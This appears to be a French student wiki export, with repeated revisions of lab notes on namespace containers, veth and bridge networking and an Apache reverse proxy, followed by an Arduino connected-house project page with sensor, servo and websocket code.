unshare -n -u -p -f -m chroot /tmp/rootfs2 /bin/sh -c "mount /proc ; /bin/bash"
unshare -n -u -p -f -m chroot /tmp/rootfs3 /bin/sh -c "mount /proc ; /bin/bash"

Les trois containers sont maintenant lancés, nous pouvons travailler dessus.

==Mise en place du réseau==

Nos containers étant lancés et fonctionnels, nous allons maintenant les connecter en réseau.

===Création de 4 interfaces virtuelles===

ip link add vif1 type veth peer name eth0@vif1
ip link add vif2 type veth peer name eth0@vif2
ip link add vif3 type veth peer name eth0@vif3
ip link add vif4 type veth peer name eth1@vif4

===Connexion de chaque interface à une interface eth0 sur les containers===

ip link set eth0@vif1 netns /proc/<pid1>/ns/net name eth0
ip link set eth0@vif2 netns /proc/<pid2>/ns/net name eth0
ip link set eth0@vif3 netns /proc/<pid3>/ns/net name eth0

pid1, pid2, pid3 peuvent être déterminés via la commande :
ps aux | grep unshare

===Connexion à eth1 sur le premier container===

ip link set eth1@vif1 netns /proc/<pid1>/ns/net name eth1

===Création d'un bridge===

ip link add interne type bridge

===Ajout de vif4 à bridge===
L'interface eth0 de la zabeth est sur le bridge, on connecte donc vif4 à bridge

ip link set vif4 master bridge

===Ajout de vif1, vif2, vif3 à interne===

ip link set vif1 master interne
ip link set vif2 master interne
ip link set vif3 master interne

===Activation de toutes les interfaces===

ip link set vif1 up
ip link set vif2 up
ip link set vif3 up
ip link set bridge up
ip link set interne up

===Attribution des adresses ip===

On commence par attribuer les ip de la forme 192.168.4.xxx aux interfaces connectées à bridge :

nsenter -t <PID1> -n ip address add dev eth0 192.168.4.1/24

nsenter -t <PID2> -n ip address add dev eth0 192.168.4.2/24

nsenter -t <PID3> -n ip address add dev eth0 192.168.4.3/24

On attribue une ip vacante sur 172.26.145.xxx au container 1 sur l'interface eth1 :

nsenter -t <PID1> -n ip address add dev eth1 172.26.145.234/24

===Activation des interfaces sur les containers>===
Sur chaque containers, lancer :

ip link set dev eth0 up
ip link set dev lo up

Ainsi que sur le container 1 :

ip link set dev eth1 up

Les containers sont maintenant fonctionnels et connectés selon le schéma suivant :

bridge : eth0 eth1 vif4

interne : vif1 vif2 vif3

=Séance 2=
Lors de cette séance, nous allons configurer apache2 afin de pouvoir accéder à deux sites web différents hébergés sur les containers 2 et 3, et ce depuis des noms de domaine choisis.

==Attribution des noms de domaine==

Afin d'obtenir un nom de domaine, nous nous connections sur gandi.net.

Onglet Domaines, on choisit le domaine plil.space.

Onglet DNS Records, on ajoute un DNS type A :

Nom : tham2
IP : 172.26.145.234

Puis on ajoute deux DNS type Cname :

Nom : tham1 & tham3
Nom d'hote : tham2

De cette manière, nous pouvons maintenant accéder à 172.26.145.234 via tham1.plil.space et tham3.plil.space

==Configuration d'apache2==

===Fichier conf===
Les configurations de site se trouvent dans /etc/apache2/sites-available/, nous allons donc configurer 000-default.conf :

<VirtualHost *:80>
ServerName tham1.plil.space
ServerAdmin webmaster@tham1.plil.space
DocumentRoot /var/www/html/tham1/

ProxyPass / http://192.168.4.2/
ProxyPassReverse / http://192.168.4.2/
ProxyRequests Off

ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

<VirtualHost *:80>
ServerName tham3.plil.space
ServerAdmin webmaster@tham3.plil.space
DocumentRoot /var/www/html/tham3/

ProxyPass / http://192.168.4.3/
ProxyPassReverse / http://192.168.4.3/
ProxyRequests Off

ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

On redirige tham1.plil.space vers le container 2 et tham3.plil.space vers le container 3 via leurs ip (192.168.4.2 et 192.168.4.3)

===Activation des modules proxy et proxy_http===

a2enmod proxy
a2enmod proxy_http

===Activation du site===

a2ensite 000-default.conf

Tout est maintenant configuré, on peut donc rebooter apache :

service apache2 restart

===Création d'une page web===

Dans les containers 2 et 3 on créé une simple page web et on reboot apache :

Container 2 :

cat 1 /var/www/html/index.html
service apache2 restart

Container 3 :

cat 3 /var/www/html/index.html
service apache2 restart

===Visualisation de la page web===

On commence par désactiver le proxy sur firefox, et on peut accéder aux pages :

tham1.plil.space/index.html

firefox affiche 1

tham3.plil.space/index.html

firefox affiche 3

11h10 => Serveurs Web OK (unshare)

12h20 => Serveurs Web OK (docker)

TP sysres IMA5sc 2018/2019 G9

2018-11-25T15:43:28Z

Tcattela : /* Séance 1 */

=Séance 1=
Lors de cette première séance, nous avons eu pour objectif de créer les 3 containers et de les faire communiquer.

==Création d'un container==

===Création de l'image disque===
dd if=/dev/zero of=disc1.img bs=1024K count=10240

===Mise en place du file system===
mkfs disc1.img

===Création du point de montage et montage de l'image===
mkdir /tmp/rootfs1
mount -o loop disc1.img /tmp/rootfs1

===Installation du debian dans le point de montage===
Afin de pouvoir installer debian, il faut que la machine accède à internet :

export http_proxy=http://proxy.polytech-lille.fr:3128/
debootstrap permet d'installer debian ainsi que apache2 et vim pour que nous puissions travailler dans la séance 2 :

debootstrap --include=nano,vim,apache2 stable /tmp/rootfs1

===Simplification de l'accès===
echo "proc /proc proc defaults 0 0" >> /tmp/rootfs1/etc/fstab

===Clonage des images===
L'image est maintenant prête, nous pouvons maintenant la cloner afin d'en avoir 3 identiques. Pour cela on démonte l'image 1 :

umount /tmp/rootfs1

On copie l'image :

cp disc1.img disc2.img
cp disc1.img disc3.img

On monte les 3 images :

mount -o loop disc1.img /tmp/rootfs1
mount -o loop disc2.img /tmp/rootfs2
mount -o loop disc3.img /tmp/rootfs3

===Lancement des trois containers===
unshare nous permet de lancer les trois images précédemment montées :

unshare -n -u -p -f -m chroot /tmp/rootfs1 /bin/sh -c "mount /proc ; /bin/bash"
unshare -n -u -p -f -m chroot /tmp/rootfs2 /bin/sh -c "mount /proc ; /bin/bash"
unshare -n -u -p -f -m chroot /tmp/rootfs3 /bin/sh -c "mount /proc ; /bin/bash"

Les trois containers sont maintenant lancés, nous pouvons travailler dessus.

==Mise en place du réseau==

Nos containers étant lancés et fonctionnels, nous allons maintenant les connecter en réseau.

===Création de 4 interfaces virtuelles===

ip link add vif1 type veth peer name eth0@vif1
ip link add vif2 type veth peer name eth0@vif2
ip link add vif3 type veth peer name eth0@vif3
ip link add vif4 type veth peer name eth1@vif4

===Connexion de chaque interface à une interface eth0 sur les containers===

ip link set eth0@vif1 netns /proc/<pid1>/ns/net name eth0
ip link set eth0@vif2 netns /proc/<pid2>/ns/net name eth0
ip link set eth0@vif3 netns /proc/<pid3>/ns/net name eth0

pid1, pid2, pid3 peuvent être déterminés via la commande :
ps aux | grep unshare

===Connexion à eth1 sur le premier container===

ip link set eth1@vif1 netns /proc/<pid1>/ns/net name eth1

===Création d'un bridge===

ip link add interne type bridge

===Ajout de vif4 à bridge===
L'interface eth0 de la zabeth est sur le bridge, on connecte donc vif4 à bridge

ip link set vif4 master bridge

===Ajout de vif1, vif2, vif3 à interne===

ip link set vif1 master interne
ip link set vif2 master interne
ip link set vif3 master interne

===Activation de toutes les interfaces===

ip link set vif1 up
ip link set vif2 up
ip link set vif3 up
ip link set bridge up
ip link set interne up

===Attribution des adresses ip===

On commence par attribuer les ip de la forme 192.168.4.xxx aux interfaces connectées à bridge :

nsenter -t <PID1> -n ip address add dev eth0 192.168.4.1/24

nsenter -t <PID2> -n ip address add dev eth0 192.168.4.2/24

nsenter -t <PID3> -n ip address add dev eth0 192.168.4.3/24

On attribue une ip vacante sur 172.26.145.xxx au container 1 sur l'interface eth1 :

nsenter -t <PID1> -n ip address add dev eth1 172.26.145.234/24

===Activation des interfaces sur les containers>===
Sur chaque containers, lancer :

ip link set dev eth0 up
ip link set dev lo up

Ainsi que sur le container 1 :

ip link set dev eth1 up

Les containers sont maintenant fonctionnels et connectés selon le schéma suivant :

bridge : eth0 eth1 vif4

interne : vif1 vif2 vif3

=Séance 2=
Lors de cette séance, nous allons configurer apache2 afin de pouvoir accéder à deux sites web différents hébergés sur les containers 2 et 3, et ce depuis des noms de domaine choisis.

==Attribution des noms de domaine==

Afin d'obtenir un nom de domaine, nous nous connections sur gandi.net.

Onglet Domaines, on choisit le domaine plil.space.

Onglet DNS Records, on ajoute un DNS type A :

Nom : tham2
IP : 172.26.145.234

Puis on ajoute deux DNS type Cname :

Nom : tham1 & tham3
Nom d'hote : tham2

De cette manière, nous pouvons maintenant accéder à 172.26.145.234 via tham1.plil.space et tham3.plil.space

==Configuration d'apache2==

===Fichier conf===
Les configurations de site se trouvent dans /etc/apache2/sites-available/, nous allons donc configurer 000-default.conf :

<VirtualHost *:80>
ServerName tham1.plil.space
ServerAdmin webmaster@tham1.plil.space
DocumentRoot /var/www/html/tham1/

ProxyPass / http://192.168.4.2/
ProxyPassReverse / http://192.168.4.2/
ProxyRequests Off

ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

<VirtualHost *:80>
ServerName tham3.plil.space
ServerAdmin webmaster@tham3.plil.space
DocumentRoot /var/www/html/tham3/

ProxyPass / http://192.168.4.3/
ProxyPassReverse / http://192.168.4.3/
ProxyRequests Off

ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

On redirige tham1.plil.space vers le container 2 et tham3.plil.space vers le container 3 via leurs ip (192.168.4.2 et 192.168.4.3)

===Activation des modules proxy et proxy_http===

a2enmod proxy
a2enmod proxy_http

===Activation du site===

a2ensite 000-default.conf

Tout est maintenant configuré, on peut donc rebooter apache :

service apache2 restart

===Création d'une page web===

Dans les containers 2 et 3 on créé une simple page web et on reboot apache :

Container 2 :

cat 1 /var/www/html/index.html
service apache2 restart

Container 3 :

cat 3 /var/www/html/index.html
service apache2 restart

===Visualisation de la page web===

On commence par désactiver le proxy sur firefox, et on peut accéder aux pages :

tham1.plil.space/index.html

firefox affiche 1

tham3.plil.space/index.html

firefox affiche 3

11h10 => Serveurs Web OK (unshare)

12h20 => Serveurs Web OK (docker)

TP sysres IMA5sc 2018/2019 G9

2018-11-25T15:39:29Z

Tcattela : /* Configuration d'apache2 */

TP sysres IMA5sc 2018/2019 G9

2018-11-19T11:50:14Z

Tcattela : /* Séance 2 */

=Séance 1=
Lors de cette première séance, nous avons eu pour objectif de créer les 3 containers et de les faire communiquer.

==Création d'un container==

===Création de l'image disque===
dd if=/dev/zero of=disc1.img bs=1024K count=10240

===Mise en place du file system===
mkfs disc1.img

===Création du point de montage et montage de l'image===
mkdir /tmp/rootfs1
mount -o loop disc1.img /tmp/rootfs1

===Installation du debian dans le point de montage===
Afin de pouvoir installer debian, il faut que la machine accède à internet :

export http_proxy=http://proxy.polytech-lille.fr:3128/

debootstrap permet d'installer debian ainsi que apache2 et vim pour que nous puissions travailler dans la séance 2 :

debootstrap --include=nano,vim,apache2 stable /tmp/rootfs1

===Simplification de l'accès===
echo "proc /proc proc defaults 0 0" >> /tmp/rootfs1/etc/fstab

===Clonage des images===
L'image est maintenant prête, nous pouvons maintenant la cloner afin d'en avoir 3 identiques. Pour cela on démonte l'image 1 :

umount /tmp/rootfs1

On copie l'image :

cp disc1.img disc2.img
cp disc1.img disc3.img

On monte les 3 images :

mount -o loop disc1.img /tmp/rootfs1
mount -o loop disc2.img /tmp/rootfs2
mount -o loop disc3.img /tmp/rootfs3

===Lancement des trois containers===
unshare nous permet de lancer les trois images précédemment montées :

unshare -n -u -p -f -m chroot /tmp/rootfs1 /bin/sh -c "mount /proc ; /bin/bash"
unshare -n -u -p -f -m chroot /tmp/rootfs2 /bin/sh -c "mount /proc ; /bin/bash"
unshare -n -u -p -f -m chroot /tmp/rootfs3 /bin/sh -c "mount /proc ; /bin/bash"

Les trois containers sont maintenant lancés, nous pouvons travailler dessus.

==Mise en place du réseau==

Nos containers étant lancés et fonctionnels, nous allons maintenant les connecter en réseau.

===Création de 4 interfaces virtuelles===

ip link add vif1 type veth peer name eth0@vif1
ip link add vif2 type veth peer name eth0@vif2
ip link add vif3 type veth peer name eth0@vif3
ip link add vif4 type veth peer name eth1@vif4

===Connexion de chaque interface à une interface eth0 sur les containers===

ip link set eth0@vif1 netns /proc/<pid1>/ns/net name eth0
ip link set eth0@vif2 netns /proc/<pid2>/ns/net name eth0
ip link set eth0@vif3 netns /proc/<pid3>/ns/net name eth0

pid1, pid2, pid3 peuvent être déterminés via la commande :
ps aux | grep unshare

===Connexion à eth1 sur le premier container===

ip link set eth1@vif1 netns /proc/<pid1>/ns/net name eth1

===Création d'un bridge===

ip link add interne type bridge

===Ajout de vif4 à bridge===
L'interface eth0 de la zabeth est sur le bridge, on connecte donc vif4 à bridge

ip link set vif4 master bridge

===Ajout de vif1, vif2, vif3 à interne===

ip link set vif1 master interne
ip link set vif2 master interne
ip link set vif3 master interne

===Activation de toutes les interfaces===

ip link set vif1 up
ip link set vif2 up
ip link set vif3 up
ip link set bridge up
ip link set interne up

===Attribution des adresses ip===

On commence par attribuer les ip de la forme 192.168.4.xxx aux interfaces connectées à bridge :

nsenter -t <PID1> -n ip address add dev eth0 192.168.4.1/24

nsenter -t <PID2> -n ip address add dev eth0 192.168.4.2/24

nsenter -t <PID3> -n ip address add dev eth0 192.168.4.3/24

On attribue une ip vacante sur 172.26.145.xxx au container 1 sur l'interface eth1 :

nsenter -t <PID1> -n ip address add dev eth1 172.26.145.234/24

===Activation des interfaces sur les containers>===
Sur chaque containers, lancer :

ip link set dev eth0 up
ip link set dev lo up

Ainsi que sur le container 1 :

ip link set dev eth1 up

Les containers sont maintenant fonctionnels et connectés selon le schéma suivant :

bridge : eth0 eth1 vif4

interne : vif1 vif2 vif3

=Séance 2=
Lors de cette séance, nous allons configurer apache2 afin de pouvoir accéder à deux sites web différents hébergés sur les containers 2 et 3, et ce depuis des noms de domaine choisis.

==Attribution des noms de domaine==

Afin d'obtenir un nom de domaine, nous nous connections sur gandi.net.

Onglet Domaines, on choisit le domaine plil.space.

Onglet DNS Records, on ajoute un DNS type A :

Nom : tham2
IP : 172.26.145.234

Puis on ajoute deux DNS type Cname :

Nom : tham1 & tham3
Nom d'hote : tham2

De cette manière, nous pouvons maintenant accéder à 172.26.145.234 via tham1.plil.space et tham3.plil.space

==Configuration d'apache2==

===Fichier conf===
Les configurations de site se trouvent dans /etc/apache2/sites-available/, nous allons donc configurer 000-default.conf :

<VirtualHost *:80>
ServerName tham1.plil.space
ServerAdmin webmaster@tham1.plil.space
DocumentRoot /var/www/html/tham1/

ProxyPass / http://192.168.4.2/
ProxyPassReverse / http://192.168.4.2/
ProxyRequests Off

ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

<VirtualHost *:80>
ServerName tham3.plil.space
ServerAdmin webmaster@tham3.plil.space
DocumentRoot /var/www/html/tham3/

ProxyPass / http://192.168.4.3/
ProxyPassReverse / http://192.168.4.3/
ProxyRequests Off

ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

On redirige tham1.plil.space vers le container 2 et tham3.plil.space vers le container 3 via leurs ip (192.168.4.2 et 192.168.4.3)

===Activation des modules proxy et proxy_http===

a2enmod proxy
a2enmod proxy_http

===Activation du site===
a2ensite 000-default.conf

Tout est maintenant configuré, on peut donc rebooter apache :

service apache2 restart

===Création d'une page web===

Dans les containers 2 et 3 on créé une simple page web et on reboot apache :

Container 2 :

cat 1 /var/www/html/index.html

service apache2 restart

Container 3 :

cat 3 /var/www/html/index.html

service apache2 restart

===Visualisation de la page web===

On commence par désactiver le proxy sur firefox, et on peut accéder aux pages :

tham1.plil.space/index.html

firefox affiche 1

tham3.plil.space/index.html

firefox affiche 3

TP sysres IMA5sc 2018/2019 G9

2018-11-19T11:31:35Z

Tcattela : Page créée avec « =Séance 1= Lors de cette première séance, nous avons eu pour objectif de créer les 3 containers et de les faire communiquer. ==Création d'un container== ===Créatio... »

Projet IMA3 P2, 2016/2017, TD1

2017-06-18T22:30:18Z

Tcattela : /* Séances supplémentaires */

= Projet IMA3-SC 2016/2017 : Maison connectée =

== Cahier des charges ==

=== Description du système ===
* L'écologie étant un point clé des futures années, il nous a semblé intéressant d'associer ce thème aux systèmes communicants. Le but est donc de mener à bien le projet d'une maison intelligente et communicante.

* La maison aura donc diverses fonctions gérées par l'utilisateur à distance, tel que l'éclairage, le chauffage, l'état de ses portes, l'état du garage...

* Tout étant géré à la fois via une interface web et une application Android.

* L'application laissera la possibilité de programmer ses routines afin que la maison devienne par définition autonome.

* Les mouvements dans la maison peuvent être détectés et l'application informe l'utilisateur en cas de mouvements imprévus (alerte voleur !)

=== Liste des fonctions à réaliser ===
* Mesure de la température (en °C) et de la luminosité (en lux).

* Détection de mouvement pour l'éclairage et les intrusions.

* Communication des informations sur une page web et une application Android.

* Automatisation de la commande de chauffage et d'éclairage.

* Automatisation des entrées et sorties de la maison (porte de garage..)

* Prévision de la consommation

=== Le matériel ===
Pour mener à bien ce projet il nous faudra :

* Raspberry PI3

* Carte SD 8GB

* Arduino Nano

* Servo-moteur

* Capteur de luminosité, capteur de température (pour Arduino)

* 5 leds

* module peltier et un radiateur

* Transformateur 230V/12V

* Relais 3.3V

* Capteur PIR (Passive Infra-Rouge)

* Maquette imprimée en 3D au fabricarium (la modélisation étant réalisée par nos soins.)

== Séance 1 ==

Durant cette séance, nous avons consacré notre temps principalement aux tests des différents modules qui s'appareillent avec la carte arduino. Cette étape est très crucial pour avoir un aperçu des caractéristiques de chacun des composants.

=== Partie électronique ===

*Pour une prise en main rapide et facile, nous avons tout d'abord utilisé des fonctions basiques en alternant sur les états des pins de l'arduino afin d'allumer et d'éteindre des LEDs qui feront office de lumière dans la maison. Les LEDs seront connectées en série avec une résidence pour ne pas dépasser la tension de seuil. (Tension sortie arduino > tension seuil LED)

*En deuxième test, on a utilisé la photorésistance. Une photorésistance est un composant dont la résistivité dépend de la luminosité ambiante. Pour faire simple, c'est une résistance dont la valeur change en fonction de la lumière qu'elle reçoit. On peut donc utiliser une photorésistance pour mesurer la luminosité ambiante. Voici quelques ordres de grandeurs de l'éclairement lumineux en fonction des endroits :

Nuit de pleine lune : 0,5 lux
Rue de nuit bien éclairée :20 à 70 lux
Local de vie : 100 à 200 lux
Appartement bien éclairé : 200 à 400 lux
Local de travail : 200 à 3 000 lux
Stade de nuit : 150 à 1 500 lux
Extérieur par ciel couvert : 500 à 25 000 lux
Extérieur en plein soleil : 50 000 à 100 000 lux

Le but de la démonstration était de tout simplement mesurer la luminosité ambiante d'une pièce et d'envoyer la valeur mesurée vers l'ordinateur via le câble USB et de visualisé la valeur sur le moniteur série. Le schéma de montage est le suivant :
[[Fichier:arduino_ldr_schéma.jpeg]]

La résistance de 10kOhm en série avec la photorésistance forme un pont de résistance (diviseur de tension). Après compilation et test, voici le résultat obtenu :
[[Fichier:capture_serial_term_ldr.jpg]]

N.B. : La valeur mesurée n'a pas d'unité ! C'est une valeur purement indicative. Si on veut mesurer une mesure en lux, il aurait fallu calibrer la photorésistance et intégrer les données de calibration dans le code. Savoir calibrer un capteur n'est pas le but de cette demonstration.

*Nous avons également fait les tests de température sur le capteur de thermique 36GZ qui a les caractéristiques suivantes :

- Tension d'entrée: 2,7 à 5,5 Vcc
- 10 mV/°C
- Précision: ±2°C
- Linéarité: 0,5°C
- Plage d'utilisation: -40°C à +125°C

Le but de ce montage sera de tout simplement mesurer la température ambiante de l'atelier et d'envoyer la température en degré Celsius vers l'ordinateur via le câble USB.

*On utilisera un module Peltier pour jouer le rôle du chauffage. L’effet Peltier est le déplacement de chaleurs en présence d’un courant électrique. L’effet se crée entre deux matériaux conducteurs de différentes natures liés par des jonctions. L’une des jonctions se refroidit pendant que l’autre se chauffe.
Le module Peltier transforme le courant électrique une différence de température. Changer la polarité du Peltier permet de refroidir ou chauffer le bloc métallique sur lequel il sera en contact avec de la graisse thermique pour assurer la transformation de la chaleur maximale. Le module Peltier qu'on utilise peut générer un gradient de température allant jusque 70°C et possède les caractéristiques électriques suivantes : une tension d’entrée maximale de 3,8V et une intensité d’entrée de 8,5A.

*Le dernier test de cette séance a été consacré au servomoteur. Les servomoteurs sont des moteurs un peu particuliers, qui peuvent tourner avec une liberté d'environ 180° et garder de manière relativement précise l'angle de rotation que l'on souhaite obtenir. Les servomoteurs ont pour rôles dans cette maquette d'ouvrir et de fermer le volet et la porte du garage. Il suffit de donner une consigne au servomoteur ("reste à 45°" par exemple) et le servomoteur fera son maximum pour rester au plus près de cette consigne. Voici le schéma de montage du servomoteur avec la carte arduino :
[[Fichier:sch_servMotor.jpg]]
Il est très important et crucial de bien brancher la broche "pulse" du servomoteur sur une pin PWM de la carte (Pulse Width Modulation, pin P9 sur le schéma par exemple). La consigne est transmise au moyen d'un signal numérique, d'une impulsion pour être précis.

Pour que le servomoteur reste à une position donnée, il faut transmettre toutes les 20 millisecondes (soit à une fréquence de 50Hz) une impulsion d'une longueur comprise entre 1 et 2 millisecondes.

[[Fichier:impulsion.jpg]]

Une impulsion de 1 milliseconde correspond à un angle de 0°.

Une impulsion de 2 millisecondes correspond à un angle de 180°.

En envoyant une impulsion d'une longueur intermédiaire, on obtient des angles différents, 90° avec une impulsion de 1.5 milliseconde par exemple.

N.B. La plupart des servomoteurs fonctionnent en 5 volts, mais certains fonctionnent en 3.3 volts. Pensez à bien lire la documentation du servomoteur avant de l'utiliser.

=== Partie informatique ===

* Afin d'allumer et d'éteindre les LEDs, il faut tout d'abord initialiser le pin en question en sortie. Pour allumer la LED, on met le pin à l'état haut pour une durée de 5000 cycles qui équivaut à 1 seconde et pour l'éteindre on effectue les mêmes instructions en mettant le pin à l'état bas.

// the setup function runs once when you press reset or power the board
void setup() {
// initialize digital pin LED_BUILTIN as an output.
pinMode(2, OUTPUT);
}
// the loop function runs over and over again forever
void loop() {
digitalWrite(2, HIGH); // turn the LED on (HIGH is the voltage level)
delay(5000); // wait for a second
digitalWrite(2, LOW); // turn the LED off by making the voltage LOW
delay(5000); // wait for a second
}

* Pour le capteur de température, l'arduino reçoit une tension. On multiplie la valeur reçue par la valeur de l'alimentation qui est de 5V. On divise par 1024 cette valeur. 1024 est le nombre d'octet sous lequel est codé la précision du capteur de température.
//TMP36 Pin Variables
int sensorPin = 0; // the analog pin the TMP36's Vout (sense) pin is connected to
// the resolution is 10 mV / degree centigrade with a
// 500 mV offset to allow for negative temperatures
void loop() // run over and over again
{
//getting the voltage reading from the temperature sensor
int reading = analogRead(sensorPin);
// converting that reading to voltage, for 3.3v arduino use 3.3
float voltage = reading * 5.0;
voltage /= 1024.0;
// print out the voltage
Serial.print(voltage); Serial.println(" volts");
// now print out the temperature
float temperatureC = (voltage - 0.5) * 100 ; //converting from 10 mv per degree wit 500 mV offset
//to degrees ((voltage - 500mV) times 100)
Serial.print(temperatureC); Serial.println(" degrees C");

* Pour la photorésistance, le principe étant de lire l'information qui arrive sur la broche à laquelle est branché le module. Pour cela, une acquisition continue avec un écart de 250ms suffira dans notre cas.

// Fonction setup(), appelée au démarrage de la carte Arduino
void setup() {
// Initialise la communication avec le PC
Serial.begin(9600);
}
// Fonction loop(), appelée continuellement en boucle tant que la carte Arduino est alimentée
void loop() {
// Mesure la tension sur la broche A0
int valeur = analogRead(A0);
// Envoi la mesure au PC pour affichage et attends 250ms
Serial.println(valeur);
delay(250);
}

* Le module Peltier fonctionne en continue sans réel consigne c'est à dire qu'il suffira de jouer sur l'état d'un interrupteur pour qu'il chauffe ou pas. Il sera alimenté par une source de tension externe car l'arduino ne répond pas aux besoin nécessaire du module.

* Le dernier module programmé est le servomoteur, la valeur de l'angle est entre 0° et 179°, le résultat sera entre 1 000 et 2 000 microsecondes (donc entre 1 et 2 millisecondes). Grâce à cette formule, on peut obtenir toutes les valeurs d'impulsions pour des positions entre 0° et 179°. Ce programme est un programme test pour comprendre le bon fonctionnement d'un servomoteur.

int periode=20000;// période entre chaque début d'impulsion en microsecondes
int pinServo=8; // variable pour le pin connecté à la commande du servo
void setup() {
pinMode(pinServo,OUTPUT);// on prépare le pin en mode OUTPUT
digitalWrite(pinServo,LOW); // on l'initialise à l'état bas
}
//boucle principale
void loop() {
for (int angle=0;angle<=180;angle+=20){//on fait varier l'angle de 0 à 180° par tranche de 20°
setAngle(angle);// on appelle la fonction setAngle définie plus bas
}
}
//fonction setAngle pour envoyer les impulsions
void setAngle(int a){
int duree=map(a,0,179,1000,2000);// on transforme l'angle en microsecondes et on stocke dans la variable duree
digitalWrite(pinServo,LOW);//on met le pin à l'état bas
// la boucle qui suit est nécessaire
// pour laisser le temps au servo d'aller à sa position
for (int t=0;t<300;t++){
digitalWrite(pinServo,HIGH);// on envoie l'impulsion
delayMicroseconds(duree); // pendant la bonne durée
digitalWrite(pinServo,LOW); // on stoppe l'impulsion
delayMicroseconds(periode-duree); // on attend le temps restant pour atteindre la période
}
}

* En parallèle avec ce travail de programmation sur arduino, on réalise des plans de la maquette de la maison pour ensuite la faire passer à la découpeuse laser grâce au logiciel inkscap.

== Séance 2 ==
Lors de la séance 2, nous avons reçu le capteur PIR, étudié sa datasheet pour pouvoir l'utilisé et le programmer avec la carte arduino. Pendant ce temps là, en parallèle est finalisé le design et la conception de la maquette de la maison connectée.

=== Partie électronique ===

* Un capteur infrarouge permet de détecter un mouvement dans son champ de vision en se basant sur l’infrarouge. On parle aussi de capteur pyroélectrique ou PIR. Les PIR sont capable de détecter une variation des ondes infrarouges, ce qui génère un courant électrique. Dans le cas de notre capteur, il est en fait divisé en deux partie différente reliées ensemble afin de détecter une variation lors qu’une des moitiés capte plus qu’une autre. On a ainsi un relevé d’une différence, et non plus d’une valeur simple. Lors d’un mouvement, la variation des deux moitiés vont varier, et on va donc capter cette variation positive.

[[Fichier:PIR.jpg]]

Les spécifications techniques du capteur PIR HC SR501 sont les suivantes :

Entrée : Tension continue de 4.5 à 20V , courant 65mA
Sortie : High 3.3 V / Low 0V (Détection ou non)
Angle : <100 °
Dimension : 32 mm * 24 mm
Délai : de 5 à 200 secondes (ajustable)
Portée : de 3 à 7 mètres (ajustable).
Au repos : 50 uA

En ce qui concerne le montage, on s'aide d'une LED pour vérifier l'état et le passage devant le PIR.
On branche donc :

Le VCC du PIR sur le 5V de l’arduino
Le GRD du PIR sur le GRD de l’arduino
La dernière branche sur le pin 2 de l’arduino
On ajoute une led de contrôle entre le pin 13 et un GRD de l’arduino

[[Fichier:montagePIR.jpg]]

=== Partie informatique ===

*Pour la programmation du PIR, il est important de lui laisser au moins 30 secondes pour se calibrer, puis une fois que cela est fait, on va en boucle relever la valeur que nous renvoi le capteur : 0 ou 1. 0 signifiant pas de signal et 1 signifiant qu’il détecte une variation infrarouge. Une LED s'allume pour valider l'état.

//the time we give the sensor to calibrate (10-60 secs according to the datasheet)
int calibrationTime = 30;
int ledPin = 13; // choose the pin for the LED
int inputPin = 2; // choose the input pin (for PIR sensor)
int pirState = LOW; // we start, assuming no motion detected
int val = 0; // variable for reading the pin status
void setup() {
pinMode(ledPin, OUTPUT); // declare LED as output
pinMode(inputPin, INPUT); // declare sensor as input
Serial.begin(9600);
Serial.print("calibrating sensor ");
for(int i = 0; i < calibrationTime; i++){
Serial.print(".");
delay(1000);
}
}
void loop(){
val = digitalRead(inputPin); // read input value
Serial.println(val);
if (val == HIGH) { // check if the input is HIGH
digitalWrite(ledPin, HIGH); // turn LED ON
delay(150);
if (pirState == LOW) {
// we have just turned on
Serial.println("Motion detected!");
// We only want to print on the output change, not state
pirState = HIGH;
}
} else {
digitalWrite(ledPin, LOW); // turn LED OFF
delay(300);
if (pirState == HIGH){
// we have just turned of
Serial.println("Motion ended!");
// We only want to print on the output change, not state
pirState = LOW;
}
}
}

Après avoir compiler et téléverser le programme dans l'arduino, on peut constater dans le moniteur série l'état et le fonctionnement du PIR en directe.

[[Fichier:moniteurseriepir.jpg]]

* Le design maquette a été revue en détail durant la séance pour les petites corrections et pouvoir lancer le découpage et ensuite la monter proprement sans soucis de dimensionnement.

[[Fichier:decoupagelaser.jpg]]

[[Fichier:maquettemonte.jpg]]

== Séance 3 ==

=== Partie électronique ===

Prise en main de Altium designer et réalisation du comparateur de température
prise en main CAN sur carte arduino

=== Partie informatique ===

prog de Altium designer et réalisation du comparateur de température
prog CAN sur carte arduino

== Séances supplémentaires ==

=== Partie électronique ===

Montage de la maquette avec les différents élements pour la présentation.

=== Partie informatique ===

==== Schéma de fonctionnement ====

Afin de mettre en place le système, le schéma suivi sera le suivant :

1) Requête de la page WEB par l'envoi d'un caractère.

2) Réception du serveur programmé en C, tournant en tâche de fond, traitement et envoi de la requète à l'arduino par la port série.

3) Réception de la requête par l'Arduino, traitement et envoi de la réponse en série.

4) Réception de la réponse de l'Arduino par le programme C.

5) Transmission de la réponse à la page WEB.

==== Sources GIT ====

https://archives.plil.fr/tcattela/2017_TD1_2/tree/master

==== Page WEB ====

La page web va émettre des requêtes pour chacune des données :
-1 pour afficher la valeur du potentiomètre
-2 pour afficher la valeur de capteur de luminosité
-3 pour afficher la valeur de capteur de température
-4 pour afficher l'état des lampes (l'allumage et l'extinction étant gérés par l'Arduino)
-5 pour afficher l'état du chauffage (l'allumage et l'extinction étant gérés par l'Arduino)

Afin de lancer ces requêtes automatiquement, un créé une boucle javascript avec les fonctions :

1) setTimeout qui permet de lancer une fonction après une autre après un certain temps (ici 200ms)

2) setInterval qui permet de lancer une fonction avec un intervalle régulier dès que la page est lancée (ici 1000ms)

function autoSend0(){
websocket.send('0');
setTimeout('autoSend1();', 200);
}
function autoSend1(){
websocket.send('1');
setTimeout('autoSend2();', 200);
}
function autoSend2(){
websocket.send('2');
setTimeout('autoSend3();', 200);
}
function autoSend3(){
websocket.send('3');
setTimeout('autoSend4();', 200);
}
function autoSend4(){
websocket.send('4');
}
